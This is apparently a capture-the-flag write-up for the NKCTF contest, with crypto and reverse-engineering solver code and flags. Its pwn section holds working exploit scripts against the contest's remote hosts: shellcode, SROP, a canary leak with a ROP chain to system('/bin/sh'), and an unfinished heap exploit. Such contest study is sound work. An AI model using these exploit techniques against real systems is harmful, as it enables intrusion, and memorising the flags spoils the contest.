pairs = [(615358616404864757405587650175842125441380884418119777842292095751090237848084440177153221092040264723889917863863854377665802549748720692225139890884830475485512763149974948701807492663962748292710803434009673589337265, 84982753624462868217739962129526665082932464631118597651920986288766037499319751354013335054886685186857222944776560264528363811382359242656883760986496856164448940929282013856762706210675691655747370624405968909408102), (528363810186974800127873139379943131424126521611531830591311656948009967709310974894584084912262479395720199930206495204352231804549705720854271566421006481173043064265399467682307971910488405265826107365679757755866812, 496810092723839642457928776423789418365006215801711874210443222720529161066621876103037104247173440072986344011599384793861949574577559989016501090247331146721371126871470611440468688947950954988175225633457347666551944), (68711183101845981499596464753252121346970486988311398916877579778110690480447199642602267233989256728822535174215153145632158860662954277116345331672194812126361911061449082917955000137698138358926301360506687271134873, 995428771589393162202488762223106955302099250561593105620410424291405842350539887383005328242236156038373244928147473800972534658018117705291472213770335998508454938607290279268848513727721410314612261163489156360908800), (61574167546312883246262193556029081771904529137922128124933785599227801608271357738142074310192454183183340219301304405636497744152219785042075198056952749425345561162612590170550454476602892138914473795478531165181812, 618169326093802548516842299173393893046765466917311052414967158839652012130855552015876657514610755108820971877570295328618373296493668146691687291894702228119875561585283226588768969944781923428807766632578060221034862)]
ct = b"|2\xf0v7\x05Y\x89\r]\xe93s\rr)#3\xe9\x90%Z\x9a\xd9\x9ck\xba\xec]q\xb8\xf2'\xc8e~fL\xcf\x93\x00\xd6^s-\xc9\xd6M"
L=Matrix(ZZ,12,12)
for i in range(7):
L[i,i]=1
for i in range(4):
for j in range(7):
L[j,8+i]=pairs[i][0]^(j)
tmp = 2^256
L[7,7]=tmp
for i in range(4):
L[7,i+8]=-pairs[i][1]
L[8+i,8+i]=p
L = L.LLL()[1]
a = int(gmpy2.iroot(abs(L[6]), 2)[0])
b = abs(L[5])//(2*a)
c = (abs(L[4])-b^2)//(2*a)
d = abs(L[1])//(2*c)
key = libnum.n2s(int(d))
cipher = AES.new(key=key, IV=bytes(range(16)), mode=AES.MODE_CBC)
print(cipher.decrypt(ct))
# nkctf{..escape..}
easy_high
通过p0能得到p高位以及p低444位数据,设p中间位,coppersmith求解后rsa解密得到flag
import libnum, gmpy2
e = 65537
c= 4881545863615247924697512170011400857004555681758106351259776881249360423774694437921554056529064037535796844084045263140567168171628832384672612945806728465127954937293787045302307135365408938448006548465000663247116917564500525499976139556325841597810084111303039525833367199565266613007333465332710833102978756654324956219855687611590278570749890543277201538208370370097424105751568285050703167350889953331829275262932104042040526209179357770495596739361176548337593674366015027648541293309465113202672923556991818236011769228078267484362980348613669012975963468592763463397575879215173972436831753615524193609612
N= 17192509201635459965397076685948071839556595198733884616568925970608227408244870123644193452116734188924766414178232653941867668088060274364830452998991993756231372252367134508712447410029668020439498980619263308413952840568602285764163331028384281840387206878673090608323292785024372223569438874557728414737773416206032540038861064700108597448191546413236875600906013508022023794395360001242071569785940215873854748631691555516626235191098174739613181230094797844414203694879874212340812119576042962565179579136753839946922829803044355134086779223242080575811804564731938746051591474236147749401914216734714709281349
p0= 149263925308155304734002881595820602641174737629551638146384199378753884153459661375931646716325020758837194837271581361322079811468970876532640273110966545339040194118880506352109559900553776706613338890047890747811129988585025948270181264314668772556874718178868209009192010129918138140332707080927643141811
flag_len = 400
p_high =(p0>>(flag_len+444))<<400+444
p_low = p0%(2^444)
PR.<x> = PolynomialRing(Zmod(N))
f = p_high+x*2^444+p_low
f = f.monic()
x = f.small_roots(X=2^flag_len, beta=0.4)
print(x)
p = int(p_high+x[0]*2^444+p_low)
q = N//p
print(p)
print(q)
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = int(pow(c, d, N))
print(libnum.n2s(m))
# NKCTF{F10wrs_hVe_r3strDay}
eZ_LargeCG
原题,参考https://blog.csdn.net/m0_51507437/article/details/124205732,改参数即解
- p-1/p+1光滑分解n
- 矩阵快速幂
import libnum
"""
from gmpy2 import *
from primefac import *
n1 = 39755206609675677517559022219519767646524455449142889144073217274247893104711318356648198334858966762944109142752432641040037415587397244438634301062818169
n2 = 30725253491966558227957591684441310073288683324213439179377278006583428660031769862224980605664642101191616868994066039054762100886678504154619135365646221
N = n1
a = 2
n = 2
while True:
a = powmod(a, n, N)
res = gcd(a-1, N)
if res != 1 and res != N:
q1 = N // res
p1 = res
print(p1)
print(q1)
break
n += 1
def mlucas(v, a, n):
""" Helper function for williams_pp1(). Multiplies along a Lucas sequence modulo n. """
v1, v2 = v, (v**2 - 2) % n
for bit in bin(a)[3:]: v1, v2 = ((v1**2 - 2) % n, (v1*v2 - v) % n) if bit == "0" else ((v1*v2 - v) % n, (v2**2 - 2) % n)
return v1
n = n2
for v in count(1):
for p in primegen():
e = ilog(isqrt(n), p)
if e == 0: break
for _ in range(e): v = mlucas(v, p, n)
g = gcd(v-2, n)
if 1 < g < n:
p2 = g
q2 = n2//p2
print(p2)
print(q2)
exit(0)
if g == n: break
"""
x = 6085327340671394838391386566774092636784105046872311226269065664501131836034666722102264842236327898770287752026397099940098916322051606027565395747098434
y = 1385551782355619987198268805270109182589006873371541520953112424858566073422289235930944613836387546298080386848159955053303343649615385527645536504580787
z = 2529291156468264643335767070801583140819639532551726975314270127875306069067016825677707064451364791677536138503947465612206191051563106705150921639560469
# def gen(st, n, a, b, c, d):
# A = gen(bytes_to_long(flag), r, p1, q1, p2, q2)
n1 = 39755206609675677517559022219519767646524455449142889144073217274247893104711318356648198334858966762944109142752432641040037415587397244438634301062818169
n2 = 30725253491966558227957591684441310073288683324213439179377278006583428660031769862224980605664642101191616868994066039054762100886678504154619135365646221
p1 = 427721675251610827084310512123962488210068003845592404231631542730839819224381
q1 = 92946439027877993602295703905130336736159270745389239059083263513478865293549
p2 = 288551157776490110472645044398395422160196115791981535735903775378294599329633
q2 = n2//p2
r = 7948275435515074902473978567170931671982245044864706132834233483354166398627204583162848756424199888842910697874390403881343013872330344844971750121043493
if p1 > q1:
p1, q1 = q1, p1
if p2 > q2:
p2, q2 = q2, p2
a = p1
b = q1
c = p2
d =q2
mt=matrix(Zmod(r),4,4)
mt[0]=[c,b,a,d]
mt[1]=[1,0,0,0]
mt[2]=[0,1,0,0]
mt[3]=[0,0,0,1]
mn=matrix(Zmod(r),4,1,[z,y,x,1])
# 6**666
X=(mt^(pow(6,666))).solve_right(mn)
flag = X[2][0]-2023
print(libnum.n2s(int(flag)))
# NKCTF{y0u_kN0w_r5A_&_LCg_&_Ma7r1X_s0_w3ll!!!}
complex_matrix
西湖论剑2021原题,参考https://www.ctfer.vip/note/set/51,求得phi即可rsa解密得到flag
import gmpy2
import libnum
isdigit = lambda x: ord('0') <= ord(x) <= ord('9')
def my_permutations(g, n):
sub = []
res = []
def dfs(s, prev):
if len(s) == n:
res.append(s[::])
for i in g:
if i in s or i < prev:
continue
s.append(i)
dfs(s, max(prev, i))
s.remove(i)
dfs(sub, 0)
return res
class X3NNY(object):
def __init__(self, exp1, exp2):
self.exp1 = exp1
self.exp2 = exp2
def __mul__(self, b):
return X3NNY(self.exp1 * b.exp1, self.exp2 * b.exp2)
def __repr__(self):
return '%s = %s' % (self.exp1.expand().collect_common_factors(), self.exp2)
class X_Complex(object):
def __init__(self, exp):
i = 0
s = '%s' % exp
while i < len(s):
if isdigit(s[i]):
num = 0
while i < len(s) and isdigit(s[i]):
num = num*10 + int(s[i])
i += 1
if i >= len(s):
self.b = num
elif s[i] == '*':
self.a = num
i += 2
elif s[i] == '/':
i += 1
r = 0
while i < len(s) and isdigit(s[i]):
r = r*10 + int(s[i])
i += 1
self.b = num/r
else:
i += 1
if not hasattr(self, 'a'):
self.a = 1
if not hasattr(self, 'b'):
self.b = 0
def WW(e, d, k, g, N, s):
return X3NNY(e*d*g-k*N, g+k*s)
def GG(e1, e2, d1, d2, k1, k2):
return X3NNY(e1*d1*k2- e2*d2*k1, k2 - k1)
def W(i):
e = eval("e%d" % i)
d = eval("d%d" % i)
k = eval("k%d" % i)
return WW(e, d, k, g, N, s)
def G(i, j):
e1 = eval("e%d" % i)
d1 = eval("d%d" % i)
k1 = eval("k%d" % i)
e2 = eval("e%d" % j)
d2 = eval("d%d" % j)
k2 = eval("k%d" % j)
return GG(e1, e2, d1, d2, k1, k2)
def R(e, sn): # min u max v
ret = X3NNY(1, 1)
n = max(e)
nn = len(e)
l = set(i for i in range(1, n+1))
debug = ''
u, v = 0, 0
for i in e:
if i == 1:
ret *= W(1)
debug += 'W(%d)' % i
nn -= 1
l.remove(1)
u += 1
elif i > min(l) and len(l) >= 2*nn:
ret *= G(min(l), i)
nn -= 1
debug += 'G(%d, %d)' % (min(l), i)
l.remove(min(l))
l.remove(i)
v += 1
else:
ret *= W(i)
l.remove(i)
debug += 'W(%d)' % i
nn -= 1
u += 1
# print(debug, end = ' ')
return ret, u/2 + (sn - v) * a
def H(n):
if n == 0:
return [0]
if n == 2:
return [(), (1,), (2,), (1, 2)]
ret = []
for i in range(3, n+1):
ret.append((i,))
for j in range(1, i):
for k in my_permutations(range(1, i), j):
ret.append(tuple(k + [i]))
return H(2) + ret
def CC(exp, n):
cols = [0 for i in range(1<<n)]
# split exp
texps = ('%s' % exp.exp1.expand()).strip().split(' - ')
ops = []
exps = []
for i in range(len(texps)):
if texps[i].find(' + ') != -1:
tmp = texps[i].split(' + ')
ops.append(0)
exps.append(tmp[0])
for i in range(1, len(tmp)):
ops.append(1)
exps.append(tmp[i])
else:
ops.append(0)
exps.append(texps[i])
if exps[0][0] == '-':
for i in range(len(exps)):
ops[i] = 1-ops[i]
exps[0] = exps[0][1:]
else:
ops[0] = 1
# find e and N
l = []
for i in range(len(exps)):
tmp = 1 if ops[i] else -1
en = []
j = 0
while j < len(exps[i]):
if exps[i][j] == 'e':
num = 0
j += 1
while isdigit(exps[i][j]):
num = num*10 + int(exps[i][j])
j += 1
tmp *= eval('e%d' % num)
en.append(num)
elif exps[i][j] == 'N':
j += 1
num = 0
if exps[i][j] == '^':
j += 1
while isdigit(exps[i][j]):
num = num*10 + int(exps[i][j])
j += 1
if num == 0:
num = 1
tmp *= eval('N**%d' % num)
else:
j += 1
if tmp == 1 or tmp == -1:
l.append((0, ()))
else:
l.append((tmp, tuple(sorted(en))))
# construct h
mp = H(n)
for val, en in l:
cols[mp.index(en)] = val
# print(cols)
return cols
def EWA(n, elist, NN, alpha):
mp = H(n)
var('a')
S = [X_Complex(n*a)]
cols = [[1 if i == 0 else 0 for i in range(2^n)]]
for i in mp[1:]:
eL, s = R(i, n)
cols.append(CC(eL, n))
S.append(X_Complex(s))
alphaA,alphaB = 0, 0
for i in S:
alphaA = max(i.a, alphaA)
alphaB = max(i.b, alphaB)
# print(alphaA, alphaB)
D = []
for i in range(len(S)):
# print((alphaA-S[i].a), (alphaB - S[i].b))
D.append(
int(NN^((alphaA-S[i].a)*alpha + (alphaB - S[i].b)))
)
kw = {'N': NN}
for i in range(len(elist)):
kw['e%d' % (i+1)] = elist[i]
B = Matrix(ZZ, Matrix(cols).T(**kw)) * diagonal_matrix(ZZ, D)
L = B.LLL(0.5)
v = Matrix(ZZ, L[0])
x = v * B**(-1)
phi = int(x[0,1]/x[0,0]*elist[0])
return phi
def attack(NN, elist, alpha):
phi = EWA(len(elist), elist, NN, alpha)
print(phi)
return phi
NN = 71841248095369087024928175623295380241516644434969868335504061065977014103487197287619667598363486210886674500469383623511906399909335989202774281795855975972913438448899231650449810696539722877903606541112937729384851506921675290984316325565141178015123381439392534417225128922398194700511937668809140024838070124095703585627058463137549632965723304713166804084673075651182998654091113119667582720831809458721072371364839503563819080226784026253
elist = [65128799196671634905309494529154568614228788035735808211836905142007976099865571126946706559109393187772126407982007858423859147772762638898854472065889939549916077695303157760259717113616428849798058080633047516455513870697383339784816006154279428812359241282979297285283850338964993773227397528608557211742425548651971558377656644211835094019462699301650412862894391885325969143805924684662849869947172175608502179438901337558870349697233790535, 58756559706647121529575085912021603170286163639572075337348109911506627489265537716060463072086480156516641723700802217411122982693536541892986623158818442274840863016647800896033363360822503445344748132842451806511693779600370832206455202293028402486647422212959763287987847280322100701242139127654031151565924132562837893975505159702015125483479126108892709063135006366792197127007229210558758401679638300464111782814561428899998471531067163715, 34828685390969672139784723764579499920301439564705391196519314224159563070870933754477650614819514127121146216049444888554338415587165719098661141454627820126445291802801256297252654045398330613075575527685542980264993711077876535643646746742646371967302159565887123638001580042027272379341650995728849759541960087953160211696369079708787543303742132161742979856720539914370868829868891655221361545648778590685232034703220732697083024449894197969, 26717968456600556973167180286909817773394160817933525240720067057464671317174201540556176814203780603153696663101158205367554829261808020426363683474848952397963507069306452835776851274959389849223566030857588019845781623271395012194869024566879791449466064832273531795430185178486425688475688634844530106740480643866537205900809400383304665727460014210405339697947582657505028211149470787536144302545259243549176816653560626044921521516818788487]
c = 39297018404565022956251803918747154798377576057123078716166221329195959669756819453426741569480551313085435037629493881038383709458043802420338889323233368852331387845200216275712388921820794980987541224782392553528127093154957890356084331463340193478391679540506421250562554424770350351514435220782124981277580072039637811543914983033300225131364246910828188727043248991987332274929827173923543187017105236008487756190002204169623313222748976369
alpha = 400 / int(NN).bit_length()
for i in range(1, len(elist)+1):
var("e%d" % i)
var("d%d" % i)
var("k%d" % i)
g, N, s = var('g'), var('N'), var('s')
for i in range(len(elist)):
elist[i] = Integer(elist[i])
phi = attack(NN, elist, alpha)
d = gmpy2.invert(65537, phi)
m = int(pow(c, d, NN))
print(libnum.n2s(m))
# NKCTF{F10w3r_Hav3_r3start_Day_N0_Man_iS_Y0ung_Aga1n}
baby_classical
矩阵逆运算(chatgpt写的)恢复key,然后再恢复flag
import string
import numpy as np
dic = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
f1nd = lambda x: dic.find(x)
class KeyEncryption:
def __init__(self, m: int, fillchar: str = "z", key: np.ndarray = None):
self.m = m
self.key = key
self.dicn2s = {i: dic[i] for i in range(64)}
print("self.dicn2s =", self.dicn2s)
self.dics2n = dict(zip(self.dicn2s.values(), self.dicn2s.keys()))
print("self.dics2n =", self.dics2n)
self.fillchar = self.dics2n[fillchar]
print("fillchar =", self.fillchar)
def setM(self, m: int) -> None:
assert m > 0
self.m = m
def setKey(self, key: np.ndarray = None) -> None:
if key is None:
while key is None or KeyEncryption.modInv(np.linalg.det(key)) == -1:
key = np.random.randint(0, 65, size=(self.m, self.m))
print("random matrix:\n", key)
else:
assert KeyEncryption.modInv(np.linalg.det(key)) != -1
self.key = key
@staticmethod
def modInv(x: int):
y = 0
while y < 64:
y += 1
if (x * y) % 64 == 1:
return y
return -1
def _loopCrypt(self, long: np.ndarray, K: np.ndarray) -> np.ndarray:
ans = np.array([])
for i in range(long.shape[0] // self.m):
ans = np.mod(np.hstack((
ans,
np.dot(long[i * self.m:i * self.m + self.m], K)
)), 64)
return ans.astype(np.int64)
def encrypt(self, plaintext: np.ndarray):
assert self.m != None and self.key is not None
if plaintext.shape[0] % self.m:
plaintext = np.hstack((
plaintext,
[self.fillchar] * (self.m - plaintext.shape[0] % self.m)
))
print("plaintext", plaintext)
return self._loopCrypt(plaintext, self.key)
def translate(self, s, to: str):
if to == "text":
return "".join([self.dicn2s[si] for si in s])
elif to == "num":
s = s.replace(" ", "")
return np.array([self.dics2n[si] for si in s])
def decrypt(self, ciphertext: np.ndarray) -> str:
self.key = np.array( [[13,37,10],[15,17,41],[13,0,10]])
assert self.m is not None and self.key is not None
plaintext = ''
inv_key = KeyEncryption.modInv(np.linalg.det(self.key)) * np.round(
np.linalg.inv(self.key) * np.linalg.det(self.key))
for i in range(ciphertext.shape[0] // self.m):
tmp = np.mod(np.dot(ciphertext[i * self.m:i * self.m + self.m], inv_key), 64)
plaintext += ''.join([self.dicn2s[int(tmp[j])] for j in range(self.m)])
plaintext = plaintext.rstrip(self.dicn2s[self.fillchar])
return plaintext
def getKey(key):
he = KeyEncryption(m=3)
he.setKey()
nums = he.translate(key, "num")
print("nums =", nums)
res = he.encrypt(nums)
print('res =', res)
enkey = ''.join(dic[i] for i in res.tolist())
print("res.tolist() =", res.tolist())
print('Encrypt key:', enkey)
return enkey
he = KeyEncryption(m=3)
enc_key = 'pVvRe/G08rLhfwa'
enc_key = [f1nd(i) for i in enc_key]
enc_key = np.array(enc_key)
key = he.decrypt(enc_key)
print(key)
_enkey = [f1nd(i) for i in key]
c = '1k2Pe{24seBl4_a6Ot_fp7O1_eHk_Plg3EF_g/JtIonut4/}'
j = 0
tmp = {}
flag = ''
for i in c:
if f1nd(i) >= 0:
# tmp = (f1nd(i) + _enkey[j % len(_enkey)]) % 64
tmp = (f1nd(i) - _enkey[j % len(_enkey)]) % 64
flag += dic[tmp]
else:
flag += i
j += 1
print(flag)
for i in flag.split('_'):
print(i[::-1])
print('CISsALc'[::-1])
# 手动转向
flag = 'nkctf{cLAsSIC_C0DE_D0L1S_ArE_R3A1LY_INT3REsTING}'.swapcase()
print(flag)
# NKCTF{ClaSsic_c0de_d0l1s_aRe_r3a1ly_int3reSting}
Reverse
not_a_like
先把段表的段名改成UPX,然后脱壳就行了。脱完壳之后就能正常反编译python了:
- 恢复c
- 维纳攻击得到flag
import base64, gmpy2, libnum
def continuedFra(x, y):
"""计算连分数
:param x: 分子
:param y: 分母
:return: 连分数列表
"""
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
"""计算传入列表最后的渐进分数
:param cf: 连分数列表
:return: 该列表最后的渐近分数
"""
numerator = 0
denominator = 1
for x in cf[::-1]:
# 这里的渐进分数分子分母要分开
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
"""使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
:param a:x^2的系数
:param b:x的系数
:param c:pq
:return:p,q
"""
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
"""计算列表所有的渐近分数
:param cf: 连分数列表
:return: 该列表所有的渐近分数
"""
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf
def wienerAttack(e, n):
"""
:param e:
:param n:
:return: 私钥d
"""
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d
c = bytearray()
pub_key = [
19252067118061066631831653736874168743759225404757996498452383337816071866700225650384181012362739758314516273574942119597579042209488383895276825193118297972030907899188520426741919737573230050112614350868516818112742663713344658825493377512886311960823584992531185444207705213109184076273376878524090762327,
76230002233243117494160925838103007078059987783012242668154928419914737829063294895922280964326704163760912076151634681903538211391318232043295054505369037037489356790665952040424073700340441976087746298068796807069622346676856605244662923296325332812844754859450419515772460413762564695491785275009170060931]
q = b'EeJWrgtF+5ue9MRiq7drUAFPtrLATlBZMBW2CdWHRN73Hek7DPVIYDHtMIAfTcYiEV87W7poChqpyUXYI3+/zf5yyDOyE9ARLfa5qilXggu60lmQzFqvFv+1uOaeI2hs2wx+QZtxqGZzC0VCVWvbTQ52nA2UdUtnk8VezRMPMfmf7rOqPxDTv/aacLnI3RdLG2TbT52qtN4+naejI7Xe8HLOL765OZKdDBERKwd5ARQ3UL6YPbuOKOQahIFddnIX6rZ7dTNqCUDOjfJbMdrzJVDNjmNlkLNtYFo7M65Wfwj6PV5vvtT33FsmH50/YLEasnlCiJujYOgi2KCdf5msz1dPEvrXDDL6Csnjo+6m/44RzlluzcqMS5ZJFdrHEh68LIqtu+HCO+69Dyq4e22APq8wgN9kU6R8kikXSn/Ej0N/jOvomFCbkHskRl8xP1KgWFW0SMVDlaDCM4EKG812VgDWgSYOUnVhVpz65uOtg4Z8PrPI+BW4398dQYhD24D9EIPgvtmhNrHiEHouB46ElTGQgZBhtn6y9tL1sw=='
e = pub_key[0]
n = pub_key[1]
# 恢复c
v = base64.b64decode(q)
data_xor_iv = bytearray()
sbox = []
j = 0
x = y = k = 0
key = '911dcd09ad021d68780e3efed1aa8549'
for i in range(256):
sbox.append(i)
for i in range(256):
j = j + sbox[i] + ord(key[(i % len(key))]) & 255
sbox[i], sbox[j] = sbox[j], sbox[i]
for idx in v:
x = x + 1 & 255
y = y + sbox[x] & 255
sbox[x], sbox[y] = sbox[y], sbox[x]
k = sbox[(sbox[x] + sbox[y] & 255)]
c.append(idx ^ k)
c = int(base64.b64decode(bytes(c)))
# 维纳攻击
d = wienerAttack(e, n)
m = pow(c, d, n)
print(libnum.n2s(m).decode())
# flag{chinese_zhenghan}
# NKCTF{chinese_zhenghan}
PMKF
走迷宫,手动自己走了一下
flag="1122332212232211011111010000010112110111222323303323221111122333"
res=""
fff=""
for i in range(16):
res=""
if flag[i*4]=="0":
res+="00"
if flag[i*4]=="1":
res+="01"
if flag[i*4]=="2":
res+="10"
if flag[i*4]=="3":
res+="11"
if flag[i*4+1]=="0":
res+="00"
if flag[i*4+1]=="1":
res+="01"
if flag[i*4+1]=="2":
res+="10"
if flag[i*4+1]=="3":
res+="11"
if flag[i*4+2]=="0":
res+="00"
if flag[i*4+2]=="1":
res+="01"
if flag[i*4+2]=="2":
res+="10"
if flag[i*4+2]=="3":
res+="11"
if flag[i*4+3]=="0":
res+="00"
if flag[i*4+3]=="1":
res+="01"
if flag[i*4+3]=="2":
res+="10"
if flag[i*4+3]=="3":
res+="11"
fff+=hex(int(res,2))
fff+=","
print(fff)
#nkctf{056e6b6d616e4fef7eb0004415047000bea9eeb043aa}
ez_baby_apk
babyrust
出题人题目出错了,加密不是双射,不过我弄了几个flag出来之后靠着语义猜对了,懒得改 exp 了:
int find_index(char a, char* b, int c) {
for (int i = 0; i < c; i++)
{
if (b[i] == a) {
return i;
}
}
return -1;
}
void main()
{
char at[] = "LMNOPQRSTUVWXYZ;<=>?@ABCDE";//a-z
char at2[] = "lmnopqrKLMNOPQR[\\]^_`abcde";//A-Z
char at3[] = "K";//` `-K _-J
char f[] = "QNn_qFbONZXpjQRbLDmLnVj]@^_H";
int index = 0;
for (int i = 0; i< 28; i++)
{
index = find_index(f[i], at, 26);
if (index >= 0) {
f[i] = 'a'+index;
continue;
}
index = find_index(f[i], at2, 26);
if (index >= 0) {
f[i] = 'A'+index;
continue;
}
f[i] = "$";
}
char flag[] = "fcCTF{WdcomE_fgWayBaCk_RuST}";
for (int i = 0; i < 28; i++)
{
flag[i] -= 45;
flag[i] ^= 0x30;
}
//QNn_qFbONZXpjQRbLDmLnVj]@^_H
//QNn_q{bONZXp_QRbLDmLnV_]@^_}((((
//fcCTF{WdcomE_fgWayBaCk_RuST}
}
earlier
#include<stdio.h>
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t];
}
}
void main()
{
unsigned char key[] = "secret";
unsigned long key_len = sizeof(key) - 1;
unsigned char data[] = { 0x83,0x5d,0xb1,0x68,0xe4,0xdf,0xaf,0x96,0x47,0x94,0xda,0xae,0x96,0xb9,0x86,0x58,0xf2,0x54,0x1e,0x87,0xf5,0x96,0xb6,0x3,0x16,0x4c,6,0xb8,0xbe,0xf,0x37,0x6a,0xd8,0xa6,0x7a,0xed,0xa5,0x73,0x4a,0xbe,0x6b,0xac,0 };
rc4_crypt(data, sizeof(data), key, key_len);
for (int i = 0; i < sizeof(data); i++)
{
printf("%c", data[i]);
}
printf("\n");
return;
}
pwn
ez_shellcode
nop滑行
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node.yuzhian.com.cn', 33492)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def dbgg():
raw_input()
dbgg()
shellcode = b'\x90' * 0x60
shellcode += asm(shellcraft.sh())
r.sendline(shellcode)
r.interactive()
ez_stack
srop
from pwn import *
from time import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node.yuzhian.com.cn', 31413)
else:
r = process(file_name)
#elf = ELF(file_name)
def dbg():
gdb.attach(r)
syscall = 0x40114e
buf = 0x404040
ax = 0x401146
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = buf
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall
p1 = b'a' * 0x18 + p64(0x4011c8)
r.sendafter('NKCTF!\n', p1)
sleep(1)
r.send(b'/bin/sh\x00')
sleep(1)
p2 = b'a' * 0x18 + p64(ax) + p64(syscall) + flat(sigframe)
r.send(p2)
r.interactive()
baby_rop
格式化字符串泄露 canary +栈迁移 远程20.04 2.31 9.9
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './nkctf_message_boards'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node2.yuzhian.com.cn', 31811)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pop_rdi_ret = 0x401413
pop_rsi_r15 = 0x401411
ret = 0x40101a
pop_rbp_ret = 0x4011bd
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
puts_addr = elf.sym['puts']
r.sendlineafter('name: ', '%41$p')
r.recvuntil(b'Hello, ')
canary = int(r.recv(18), 16)
li('canary = ' + hex(canary))
p1 = p64(ret) * 25 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp_ret) + p64(0) + p64(0x4010f0) + p64(canary)
r.sendlineafter('NKCTF: \n', p1)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
li('libc_base = ' + hex(libc_base))
system_addr = libc.sym['system'] + libc_base
binsh = libc.search(b'/bin/sh').__next__() + libc_base
p2 = p64(ret) * 28 + p64(pop_rdi_ret) + p64(binsh) + p64(system_addr) + p64(canary)
r.sendlineafter('NKCTF: \n', p2)
r.interactive()
9961code
在一个写权限受限的环境里,题目给我们22字节的任意代码执行机会。只需要打开写权限并二次读取shellcode即可。
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('node2.yuzhian.com.cn', 31730)
sh.send(asm('''
mov rdi, r15
xor eax, eax
cdq
mov al, 10
mov dl, 7
syscall
xor eax, eax
mov esi, edi
mov edi, eax
mov dl, 0x7f
syscall
'''))
sh.send(b'\x90' * 0x16 + asm('''
mov rsp, rsi
add rsp, 0x1000
xor rsi, rsi
mul rsi
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
mov al, 59
syscall
'''))
sh.interactive()
baby_heap
2.32下的off-by-one
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node.yuzhian.com.cn', 32892)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def dbgg():
raw_input()
menu = 'Your choice: '
def add(index, size):
r.sendlineafter(menu, '1')
r.sendlineafter('Enter the index: ', str(index))
r.sendlineafter('Enter the Size: ', str(size))
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Enter the index: ', str(index))
def edit(index, content):
r.sendlineafter(menu, '3')
r.sendlineafter('Enter the index: ', str(index))
r.sendafter('Enter the content: ', content)
def show(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Enter the index: ', str(index))
dbgg()
add(0, 0x28)
add(1, 0x38)
add(2, 0x40)
add(3, 0x40)
delete(1)
'''
p1 = b'\x00' * 0x28 + b'\x91'
edit(0, p1)
'''
add(1, 0x38)
show(1)
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))
for i in range(4, 12):
add(i, 0x88)
add(12, 0x88)
add(13, 0x88)
for i in range(4, 13):
delete(i)
for i in range(4, 12):
add(i, 0x88)
show(11)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 368 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.32.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
one = [0xdf54c, 0xdf54f, 0xdf552]
one_gadget = one[1] + libc_base
add(12, 0x88)
p1 = b'\x00' * 0x28 + b'\x91'
edit(0, p1)
delete(1)
add(1, 0x88)
add(14, 0x40)
delete(14)
delete(2)
